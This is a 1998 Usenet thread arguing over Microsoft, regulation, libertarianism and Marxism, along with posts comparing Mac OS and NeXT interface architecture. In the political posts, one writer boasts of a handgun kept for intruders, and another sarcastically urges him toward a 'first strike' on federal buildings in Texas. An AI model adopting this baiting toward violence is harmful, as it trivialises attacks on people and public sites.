Microsoft may not be abusing your individual liberties in a direct fashion, but
> The IRS can take my money and put
> a gun to my head if I refuse to cooperate. The BATF can burn buildings
> to the ground on suspicion of wrongdoing. The public school system can
> imprison my children and subject them to sex education classes featuring
> pornographic images and videotaped sex acts.....
I agree with you that the abuses you describe above, against *individuals*, is wrong
and corrupt. That is why my last email was careful to state that the need for
government intervention rises as the number of individuals increases (i.e. little need
to intervene against individuals, greater need to intervene against companies and
larger groups of people working towards same cause). Believe it or not, my political
views are strongly, to the Right.
> Abuse of liberty, Mr. Hermanson? You say Microsoft is abusing your
> liberty? How?
I don't recall saying things exactly as you state above. If I did, I misspoke. My
main point was that it is clear Microsoft is abusing their position as a monopolistic
entity, and the reprocussions of which are affecting their competitor's abilities to
compete on many different levels.
> Abusing liberties requires *FORCE*, Mr. Hermanson. As far as I know,
> Microsoft has no right to wield guns, imprison you, remove you from your
> home, walk on your personal property, or beat you into physical
> submission. As far as I know, Microsoft has no right to manacle you,
> force you to testify against yourself in an audit, force you to appear
> in court, or to require of you that you pay for a lawyer when conducting
> business relations.....
They may not have a right, but if given the opportunity to become large and powerful
enough, they could easily enough abuse you in that nature if they wanted to,
especially if no regulatory framework existed to stop them. But again, you're
twisting my point and putting words into my mouth. I was referring to Microsoft
abusing the free-trade and free-competition liberties of their competitors. Where
that leads is anyone's guess, but it certainly won't lead to utopia.
Eric
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: 3 Jul 1998 18:34:33 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6nk0r9$88f$1@halcyon.com>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <359b270f.0@carrera> <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net> <stone-ya02408000R0307981731210001@news.enetis.net>
Kevin Stone <stone@stoneentertainment.com> wrote:
>Dosn't the iMac have PCI slots?
No.
--Tim Smith
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 03 Jul 1998 21:15:13 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359D9031.4C08DE53@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu>
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NNTP-Posting-Date: 4 Jul 1998 02:20:32 GMT
Eric Hermanson wrote:
> They may not have a right, but if given the opportunity to become large and powerful
> enough, they could easily enough abuse you in that nature if they wanted to,
> especially if no regulatory framework existed to stop them.
Liberty is preserved by the vigilance of those at liberty, not by the
government that by definition restrict liberty. *IF* (and that is a big
'if') Microsoft employees came to my home and threatened either myself
or my family, there is a Sig-Sauer with 15 9mm slugs waiting for them.
That's just me, of course; my neighbors and family are fairly
well-armed, and have no love for those who maliciously hurt fellow
humans. This is the assurance of the virtuous society: that liberty is
worth fighting, even dying, for. On this eve of Independence Day, don't
you hear the words of Patrick Henry? Don't you hear the speeches of
George Washington? Don't you hear the resolution in those words? They
make me weep, I'm being honest.
Something tells me this isn't going to happen. At least, not in Texas,
where we have right-to-carry laws that uphold the citizen's right to
defend himself against the very thing you are proposing. Are you saying
that the most successful software company in the world may someday find
it necessary to begin acting like an illegitimate mob? That they would
destroy everything they have worked for in the public's eye by
threatening and physically abusing human beings?
> But again, you're
> twisting my point and putting words into my mouth. I was referring to Microsoft
> abusing the free-trade and free-competition liberties of their competitors. Where
> that leads is anyone's guess, but it certainly won't lead to utopia.
Nobody who ascribes to a tragic view of humanity will claim such a
thing. One of the greatest enemies of libertarianism is, in fact, the
false promise of societal utopia; so much regulatory jingoism is based
on that very promise.
MJP
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net>
In-Reply-To: <359D9031.4C08DE53@nstar.net>
From: not@my.address.net
Message-ID: <kehn1.2330$24.13444266@news.itd.umich.edu>
Date: Sat, 04 Jul 1998 03:22:56 GMT
NNTP-Posting-Date: Fri, 03 Jul 1998 23:22:56 EDT
On 07/03/98, Michael Peck wrote:
>
*IF* (and that is a big
>'if') Microsoft employees came to my home and threatened either myself
>or my family, there is a Sig-Sauer with 15 9mm slugs waiting for them.
Cool. Is a Sig-Sauer a fancy gun? I'm always amazed how cheap Americans can be
with their guns. Do you get to use it much? Just be sure you don't surprise
your wife by coming home late when she's had something to drink.
>That's just me, of course; my neighbors and family are fairly
>well-armed
Oh, I'm sure they are. But why so passive? What are you waiting for? You've
already said that governments are by definition the enemies of liberty, that
it's impossible to govern without oppressing the people. Why not a first
strike? There must be some federal buildings in Texas.
--
invert: umich.edu jdevlin
insert: shift "2"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 04:48:34 GMT
Organization: University of California at San Diego
Message-ID: <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com>
On 3 Jul 1998 15:18:51 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
:In article <6nh663$o1q$1@news.cs.tu-berlin.de> Marcel Weiher,
:marcel@cs.tu-berlin.de writes:
:>This is very naive. Free markets are mechanisms that are set up
:>by societies in order to maximize economic output. Check out
:>Adam Smith if you don't believe me.
:>
:>>Two points: one, the voluntary act of will must be held accountable for
:>>itself. Regulation has spawned more grief than it has good. It must also
:>
:>This is a bold assertion. Prove it. Now I'm the first one to say
:>that any government interference is to be viewed with suspicion, but
:>it is still necessary. The free markets you idolize so much are not
:>actually natural entities, but artificial constructs created by
:>appropriate legislation and regulation.
:
:
:And the tail wags the dog.
:
:Right.
:
:Yes, the great, beneficent government which uses guns and taxes and
:prosecutors to grab its share of the GNP is the foundation of our
:economy, while the people who actually MAKE THINGS owe our prosperity to
:those who do not produce.
:
:1984 redux.
As Ronald Reagan might say, 'there you go again'.
Until the last four years, I haven't heard such unthinking extremist
political propaganda like this since the laughably discredited radical
Marxists of the 60's.
Does a child owe its existence to its mother or its father? Is a father
a leech-sucking criminal because he doesn't breast-feed the child?
In any case, the previous poster is entirely correct, that free markets
are indeed artificial constructs created by legislation and political will
in order to create a certain outcome for the benefit of society. If it
hadn't been so, why did Smith and Ricardo feel the need to write works
explaining and advocating it?
Every free-marketeer in the 18th and 19th century, and up until very
recently, the 20th century, understood this point.
:Matthew Cromer
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 04:50:44 GMT
Organization: University of California at San Diego
Message-ID: <slrn6prd53.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com>
On 3 Jul 1998 15:23:13 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
:In article <6nh663$o1q$1@news.cs.tu-berlin.de> Marcel Weiher,
:marcel@cs.tu-berlin.de writes:
:>Not in a democracy it doesn't. The free market is subordinate to
:>society, not the other way around.
:>
:
:And what is "society"? Obviously it is whatever the masters decide, that
:is what "society" has decided. Uh-huh. And the "free market" which you
:deride is, of course, what society actually decides, because the free
:market is the sum of interactions based on what people choose to do,
:whereas government is the sum of interactions based on making people do
:what they would rather not choose to do.
''The market'' also makes people do what they would not rather choose to do.
There's just no obvious person or institution to blame.
Marxism was the invention and identification of the blamee.
:Matthew Cromer
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Fri, 03 Jul 1998 22:33:04 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
References: <6n6a2e$21s$1@news.cmc.net>
In article <6n6a2e$21s$1@news.cmc.net>, com.occam@leonvs wrote:
> From http://gemma.apple.com/rhapsody/rhapfaq/2.html :
>
> Will the UNIX command-line be part of Mac OS X?
>
> No.€ Unlike Rhapsody, Mac OS X is not considered an actual Unix system. All
> functionality in Mac OS X will be accessible via the GUI.
>
> However, Mac OS X does include a POSIX-style kernel, providing most of the
> system services required by Unix utilities.€ We realize many developers, and
> certain customer segments, value the option of using a shell to interact with
> the system.€€ We expect that a BSD command-line environment will be available
> for use on top of Mac OS X, though it may come from a third party.
> Created: 6/19/98
>
*Sigh*
Can we not get hyperbolic about something some dev relations web master
wrote on a website?
I'll highlight one phrase: "We expect that a BSD command-line environment
will be available for use on top of Mac OS X". The rest is
cover-our-tracks-ware.
I'm skipping the rest of this thread since I can predict the game of
telephone that follows.
-mark
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 03:15:16 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359DE494.B5F41988@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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NNTP-Posting-Date: 4 Jul 1998 08:20:33 GMT
Matt Kennel wrote:
> are indeed artificial constructs created by legislation and political will
> in order to create a certain outcome for the benefit of society. If it
> hadn't been so, why did Smith and Ricardo feel the need to write works
> explaining and advocating it?
Right. And the atom is an artificial construct, invented originally by
Aristotle and later implemented by the likes of Neils Bohr and Albert
Einstein. Otherwise, why did they feel the need to write works and
construct equations describing its behavior and nature?
The human mind is likewise an artificial construct, invented by our
bodies to explain their behavior. The conspirators, of course, were the
psychologists of the past century. Birds were invented until Audubon
painted them, and the stars were a figment of Copernicus' imagination
until he described their (fictional) behavior in the night sky.
Agriculture isn't a natural phenomenon; people don't grow plants for the
purpose of feeding themselves until the government pays them to grow
nothing. Milk doesn't actually come from cows; you have to engage in
price-fixing and force farmers to dump much-needed milk in retaliation
first. People won't actually build dams until the government creates the
TVA, they never have. China doesn't exist until the US government
recognizes it, and we don't actually have a crime problem until we have
midnight basketball to combat it. People aren't educated until the
government builds public schools; young men and women don't acquire
healthy attitudes toward sex until you play videos of people
masturbating in classrooms.
And, of course, employees aren't employees, customers aren't customers,
companies don't organize, and wealth is never created, not until
government has a chance to regulate all of it. It's so simple, I don't
know why I didn't get it at first.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 03:50:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359DECD8.AF7571DF@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 4 Jul 1998 08:55:48 GMT
Eric Hermanson wrote:
> I agree with you that the abuses you describe above, against *individuals*, is wrong
> and corrupt. That is why my last email was careful to state that the need for
> government intervention rises as the number of individuals increases (i.e. little need
> to intervene against individuals, greater need to intervene against companies and
> larger groups of people working towards same cause). Believe it or not, my political
> views are strongly, to the Right.
"Perhaps the classic expression of the objection to the rule of law was
by socialist writer Anatole France, when he said sarcastically, 'The
Law, in its majestic equality, forbids rich and poor alike to sleep
under bridges, beg in the streets or steal bread.' The differential
impact of the same laws on people in different social circumstances has
long been a key reason given for departing from the ideal of law and
government as a set of impartial processes, and instead making law and
government instruments of a set of policies directed toward prescribed
social results. Moreover, these prescribed results are often conceived
within a framework of a cosmic perspective on justice, in which it is
not sufficient to treat everyone the same after they enter the legal
system, if they entered with preexisting inequalities that must be
compensated for, in order to achieve 'real' justice. Such are the
ambitious goals -- the vision of the anointed -- behind the stretching
and bending of the law that has become known as 'judicial activism'.
"It is in seeking cosmic justice that the law has become less and less
law and more and more a series of ad hoc pronouncements which the
judicial activists call 'evolving standards' or 'a living
constitution'."
Thomas Sowell, _The Vision of the Anointed_
MJP
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <btx4Owxp9GA.170@cidintnews.infosel.com.mx>
Control: cancel <btx4Owxp9GA.170@cidintnews.infosel.com.mx>
Date: 04 Jul 1998 08:16:44 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: PC
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: "Dietmar Planitzer" <dave.pl@ping.at>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 04 Jul 1998 11:06:49 +0200
Organization: Customer of EUnet Austria
Message-ID: <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net>
In article <joe.ragosta-0207981558320001@wil47.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6nghtq$vo91@onews.collins.rockwell.com>,
>embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
>
>> Add a correctly functioning Print menu item to a MacOS app that does not
>> already have one. Add FAX support to ever app that can print. Enable spell
>> checking in a MacOS app that does not already support spell checking. All of
>> this and more is possible with Nextstep without recompiling or having any
>> detailed knowledge of the apps structure.
>
>You can do all of these things on the Mac today (except the "Print menu
>item". I don't know what you mean by that).
>
No, you can not !
Resource forks contain only static descriptions of UI elements like windows, menus...
NIBs on the other side are simply archived object instances. That means that you
can not only store UI elements in it, rather every kind of object you like.
Further more a NIB containes connection information which is used when the NIB is
read into an application (instanciated) to hook up the variuos objects in it.
The big difference between the Mac way and the OpenStep way is that, although you can
add/change UI element descriptions in the resources of an app, you are not able to
define the necessary connections to the apps implementation.
For example you could add a new Fax menu item to an Mac app, but you can not tell
the app to do faxing when this item is selected by the user, because the app doesn't
simply contain the necessary code to provide faxing functionality and/or you are
not able to tie the menu item to the implementation.
With NIBs you are able to do this. Just open the apps NIB, add a Fax menu item and
connect the newly created Fax menu item with the fax: method of the first responder.
After saving and running your app you will be able to fax whatever has the current
keyboard focus.
Another problem of the MacOS resources today is that there isn't any standard.
Plain MacOS, MacApp and PowerPlant all define there own UI description format.
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
Regards,
Planitzer Dietmar
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 03:59:48 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359DEF04.D0755976@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu>
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not@my.address.net wrote:
> Oh, I'm sure they are. But why so passive? What are you waiting for? You've
> already said that governments are by definition the enemies of liberty, that
> it's impossible to govern without oppressing the people. Why not a first
> strike? There must be some federal buildings in Texas.
This whole "law" thing is flying over your head, no?
Ach, figures. One serves one's master...
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Sat, 04 Jul 1998 03:23:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359DE66E.5FC1F6DF@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <slrn6prd53.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 4 Jul 1998 08:28:26 GMT
Matt Kennel wrote:
> ''The market'' also makes people do what they would not rather choose to do.
Uh, I'm sure that's so. But I just looked around my apartment and
couldn't find anything I was forced to buy. If I went out to my car, I
would of course find the liability insurance documents I was forced to
buy, but if I'm not mistaken, the government made me buy those. There's
also that third brake light, and the airbags, and countless other
components and design decisions that have nothing to do with vehicle
quality, and many of which (I'm told) have actually been found to make
the car *less* safe. Oh, well. Maybe you can enlighten me as to your
meaning.
> There's just no obvious person or institution to blame.
Actually, I know precisely who to blame for the above. I assume that's
not what you meant.
> Marxism was the invention and identification of the blamee.
It *was*? I thought Marxism had something to do with dialectical
philosophy and certain ideas regarding the superiority of collective
action over the actions of individuals. If I'm not mistaken, the
Communist state was supposed to be a necessary step toward human unity,
wherein ownership and disposition over all goods and employment were to
be centrally governed. I'm sure you're much more familiar with it than I
am, please comment.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 12:19:55 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nl6lb$1gp@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>This is the assurance of the virtuous society: that liberty is
>worth fighting, even dying, for. On this eve of Independence Day, don't
>you hear the words of Patrick Henry? Don't you hear the speeches of
>George Washington? Don't you hear the resolution in those words? They
>make me weep, I'm being honest.
While remembering the Founding Fathers, the following may be of
interest :
The New York Times July 3, 1998 opinion page carried an essay, which called on
America to remember and to build a memorial to Alexander Hamilton.
... It is fashionable to invoke Jefferson as the philosopher of American
democracy. But his ideal America was based on states' rights,
agrarian capitalism and isolationism. Hamilton, on the other hand,
envisioned the nation that we have become, a centralized industrial
superpower with civil rights enforced by the Federal Government.
Jefferson owned hundreds of slaves and argued that blacks were naturally
inferior and should not be emancipated unless they were sent to Africa.
Hamilton, by contrast, believed that black Americans deserved citizenship
and should be armed as soldiers during the Revolutionary War.
"The contempt we have been taught to entertain for blacks makes us fancy
many things that are founded neither in reason nor experience," he wrote.
"The dictates of humanity and true policy equally interest me in favor of
this unfortunate class of men." In the first years of the the Republic,
Hamilton helped found the Society for Promoting the Manumission of Slaves.
His ideals, and not Jefferson's, were realized when slavery and then
segregation were smashed by Federal power.
The idolization of Jefferson and the downgrading of Hamilton is a recent
phenomenon. For most of our history their status was reversed not only in
the eyes of Northerners but also in those of enlightened Southern nation-
alists like John Marshall and Henry Clay.......
.....In the last quarter century, however, the Hamiltonian ideal of a
strong, prosperous and integrated American nation-state has come under
attack from all sides. The multicultural left rejects the idea of an
integrated American nation, while the fundamentalist right vilifies the
Federal government as an instrument of tyranny, if not a tool of Satan.
Whereas Hamilton wanted industry and finance to serve the national interest,
today many executives and investors view the nation-state as an obsolete
hindrance to their personal profit in the "global market". Hamilton
envisioned a partnership of government and business. Today, the left likes
government and hates business, while the right likes business and hates
government.
If either side should prevail, America will come to resemble a continental
chaos of squabbling ethnic groups with an incompetent military, a feeble
government and an economy that enriches only a tiny oligarchy.
[Renew the Hamiltonian tradition, symbolized by a memorial to him] Until
one is built we will have to make do with the existing monuments to the
Hamiltonian vision : West Point and the Pentagon, the Federal Reserve,
the interstate highway and air travel systems, Detroit and the Silicon Valley.
And not least, the Federal courthouses that attest to the fact that --
no matter what the case is elsewhere -- in our democracy individual rights
and national authority are not enemies, but allies.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 12:11:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nl660$1ga@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>Liberty is preserved by the vigilance of those at liberty, not by the
>government that by definition restrict liberty. *IF* (and that is a big
>'if') Microsoft employees came to my home and threatened either myself
>or my family, there is a Sig-Sauer with 15 9mm slugs waiting for them.
It is interesting that all these companies whose liberty you are so
keen to defend have had absolutely no qualms in operating in
apartheid South Africa or communist China. It is not liberty that
these companies need in order to operate, it is the possibility of
profit. In the name of profit, they are willing to justify anything.
They are no defenders of liberty, and would not care or lift one
finger to help an oppressed people.
As to what happens without government "which by definition restricts
liberty", it becomes the rule of he can can organize the most goons
and the most guns. Witness the warlords of Somalia.
***
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 4 Jul 1998 12:16:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6nl6f1$1gi@newsb.netnews.att.com>
References: <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net>
Originator: gupta@tlctest
Dietmar Planitzer <dave.pl@ping.at> wrote:
>
>No, you can not !
When I bought a Global village modem and associated software,
including fax, every application on the Macintosh that could
print, could suddenly also fax. The "File" menu normally
shows "Print", if you option-click, it shows "Fax".
Strange, but true. Perhaps the mechanism is nowhere as elegant
as in OpenStep, but it is not impossible.
-arun gupta
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se> <359D7E51.1721D116@alum.mit.edu> <359D9031.4C08DE53@nstar.net> <kehn1.2330$24.13444266@news.itd.umich.edu> <359DEF04.D0755976@nstar.net>
In-Reply-To: <359DEF04.D0755976@nstar.net>
From: not@my.address.net
Message-ID: <HEpn1.2362$24.13690996@news.itd.umich.edu>
Date: Sat, 04 Jul 1998 12:57:11 GMT
NNTP-Posting-Date: Sat, 04 Jul 1998 08:57:11 EDT
On 07/04/98, Michael Peck wrote
... quoting me ...
>
>> Oh, I'm sure they are. But why so passive? What are you waiting for?
>> You've already said that governments are by definition the enemies of
>> liberty, that it's impossible to govern without oppressing the people. Why
>> not a first strike? There must be some federal buildings in Texas.
>
>This whole "law" thing is flying over your head, no?
>
I tried to engage you on that topic and you had nothing to say.
But your position is a matter of public record. Let's recap:
(1) We know what you think of "the whole `law' thing": To quote, "that's
definitely not the issue, unless you think like a lawyer. From a moral
standpoint, that is anything but the issue." So don't let the law deter you.
If there's a moral argument to be made for armed aggression against the
government, have the courage of your convictions.
(2) And we know what kind of moral value you attach to liberty: "liberty is
worth fighting, even dieing for". And what with that fancy European gun you own
and all your well-armed and similarly motivated neighbors, you're probably in a
better position than most to do the fighting.
(3) And finally we know what you think of government: "By definition
governments restrict liberty". Moreover, it's "impossible to govern without
oppressing" the people. And we're not talking about oppression on a small scale
here -- we're talking about everything from sales taxes to sex education in the
public schools.
So, the "whole `law' thing" is not the issue; you have a moral imperative to
defend liberty, even to the point of violence; and liberty is under serious
threat from the mere existence of the government.
Like I said ... What are you waiting for?
--
invert: umich.edu jdevlin
insert: shift "2"
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 13:17:22 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nla12$6if$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nl6sh$1h2@newsb.netnews.att.com> <6nl7t5$1jd@newsb.netnews.att.com> <HEpn1.2362$24.13690996@news.itd.umich.edu>
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In article <slrn6prd53.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt
Kennel, NOSPAMmbkennelNOSPAM@yahoo.com writes:
>''The market'' also makes people do what they would not rather choose to do.
Elaborate please.
>
>There's just no obvious person or institution to blame.
>
>
>Marxism was the invention and identification of the blamee.
Marxism is a fantasy and a fairy-tale. Or rather a horror-nightmare work
of fiction, as its attempted implementations have so amply demonstrated.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 13:16:00 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nl9ug$808$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6nl6sh$1h2@newsb.netnews.att.com> <6nl7t5$1jd@newsb.netnews.att.com> <HEpn1.2362$24.13690996@news.itd.umich.edu>
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In article <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt
Kennel, NOSPAMmbkennelNOSPAM@yahoo.com writes:
>As Ronald Reagan might say, 'there you go again'.
>
>Until the last four years, I haven't heard such unthinking extremist
>political propaganda like this since the laughably discredited radical
>Marxists of the 60's.
Thanks, the abolitionists were unthinking extremists too.
>
>Does a child owe its existence to its mother or its father? Is a father
>a leech-sucking criminal because he doesn't breast-feed the child?
Perhaps you can enlighten me as to why this comment touches on the topic
in any way?
>
>In any case, the previous poster is entirely correct, that free markets
>are indeed artificial constructs created by legislation and political will
>in order to create a certain outcome for the benefit of society.
Crap. Free markets are what occurs in the absence of government
interference. They have existed in societies without government and in
societies with the effective absence of government. Vis the American
frontier.
Free markets also exist even where government actively oppresses them,
such as the former Soviet Union and the black markets in drugs and
weapons in this country.
A market is a natural outcome of the desire of humans to trade value for
value.
If it
>hadn't been so, why did Smith and Ricardo feel the need to write works
>explaining and advocating it?
Perhaps because the governments of the time actively oppressed government
via mercantilism and its high tariffs.
>
>Every free-marketeer in the 18th and 19th century, and up until very
>recently, the 20th century, understood this point.
Specious generalization. Certainly some free market advocates are
blinded by Statist assumptions, but many others were and are not. Cf.
Lysander Spooner.
Matthew Cromer
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070413175100.JAA00612@ladder01.news.aol.com>
Date: 4 Jul 1998 13:17:51 GMT
Organization: AOL http://www.aol.com
References: <6nl6f1$1gi@newsb.netnews.att.com>
The Fax issue is a matter of the underlying architecture.
Although an init can sneak in a file menu entry, it's not updating the
application itself, as evidenced by the failings of faxing from Quark XPress
which I didn't mention.
If you set up XPress to fax from a Mac (or Windows), you only get the preview
of any placed graphics--not the underlying graphics code. On the NeXT, this is
interpreted and handled at a system level so that it is transparent to the
user.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Date: Sat, 04 Jul 1998 07:03:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0407980703330001@elk91.dol.net>
References: <dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net>
In article
<dave.pl-0407981106490001@dialup203.salzburg20.salzburg.at.eu.net>,
"Dietmar Planitzer" <dave.pl@ping.at> wrote:
> In article <joe.ragosta-0207981558320001@wil47.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >In article <6nghtq$vo91@onews.collins.rockwell.com>,
> >embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> >
> >> Add a correctly functioning Print menu item to a MacOS app that does not
> >> already have one. Add FAX support to ever app that can print.
Enable spell
> >> checking in a MacOS app that does not already support spell
checking. All of
